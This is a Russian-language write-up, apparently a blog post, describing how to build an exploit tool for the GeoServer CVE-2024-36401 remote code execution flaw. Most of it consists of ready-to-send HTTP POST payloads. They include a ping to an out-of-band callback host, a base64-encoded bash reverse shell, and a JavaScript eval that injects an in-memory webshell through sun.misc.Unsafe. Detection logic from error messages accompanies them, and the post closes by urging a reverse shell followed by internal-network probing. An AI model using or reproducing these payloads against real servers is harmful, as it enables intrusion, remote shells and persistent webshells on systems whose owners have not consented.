
Инструмент эксплуатации уязвимости geoserver CVE-2024-36401
geoserver CVE-2024-36401 Среда: JDK8 Заявление: Только для авторизованного тестирования. Пользователь несет полную ответственность за любые последствия злоупотребления, автор не несет ответственности. Соблюдайте законы и нормативные акты!
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>
Обратите внимание на это: <wfs:Query typeNames='sf:archsites'/>
Здесь, если вам нужно использовать регулярное выражение для его получения, это sf:archsites — базовый идентификатор сайта. Сначала вам нужно получить его информацию:
<wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>, затем вы можете применить конкатенацию.
При проверке уязвимости:
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
На самом деле здесь даже не нужно искать DNS-записи. Простая логика — проверить, присутствует ли исключение неизвестного класса, например java.lang.ClassCastException.
Конечно, это только логика проверки.
Этот ответ и так возвращает 400, здесь легко попасть в ловушку. Вам нужно проверить страницу ошибки, а затем выполнить поиск данных.
Сначала вам нужно запросить:
<wfs:ListStoredQueries service='WFS'
version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
Эта информация позволяет получить <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>. Затем напрямую присвойте её тексту, вызовите функцию, которая извлекает данные из текста, и подставьте их в параметр <wfs:Query typeNames='sf:archsites'/>.
Это сделает логику проверки более точной. При проверке уязвимости пишите так.
Если вы постоянно используете <wfs:Query typeNames='sf:archsites'/>, то вероятность ложного срабатывания высока — будет выдаваться ошибка, что sf:archsites не найден.
Посмотрим на полезную нагрузку для реверс-шелла:
POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
Обратите внимание здесь:
<wfs:Query typeNames='sf:archsites'/>
Точно так же: сначала получите значение через регулярное выражение и подставьте его.
Затем отправьте запрос.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx — это закодированная в base64 строка.
При написании просто преобразуйте введённое пользователем bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 в base64 и всё.
Затем отправьте запрос и снова найдите ключевое исключение — логика проверки.
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
Здесь также есть <wfs:Query typeNames='sf:archsites'/> — по старой схеме сначала получите значение.
В var str="" подставьте сгенерированный закодированный в base64 код веб-шелла в памяти.
Затем проверяйте логику.
<wfs:Query typeNames='sf:archsites'/> даёт 98% ложных срабатываний. Пример ошибки:https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
<ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<
Признак уязвимости:
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
</ows:Exception>
Проще говоря, уязвимость есть — появляется java.lang.ClassCastException. Ложное срабатывание — Could not locate {http://www.openplans.org/spearfish}archsites in catalog.
wfs:ReturnFeatureType>, присвойте тексту → текст вызывает функцию → отправьте запрос → подставьте в запрос → проверьте исключение в ответе.В итоге мы реализовали этот инструмент эксплуатации уязвимости.

Протестируем уязвимость.
Результат работы инструмента:


Подсказка: отсутствие ответа и вывод об отсутствии уязвимости — одно и то же. Если уязвимость есть, появится значок "+".
Обнаружена уязвимость — выполняем реверс-шелл, проверяем подключение. Если успешно — проводим тестирование внутренней сети.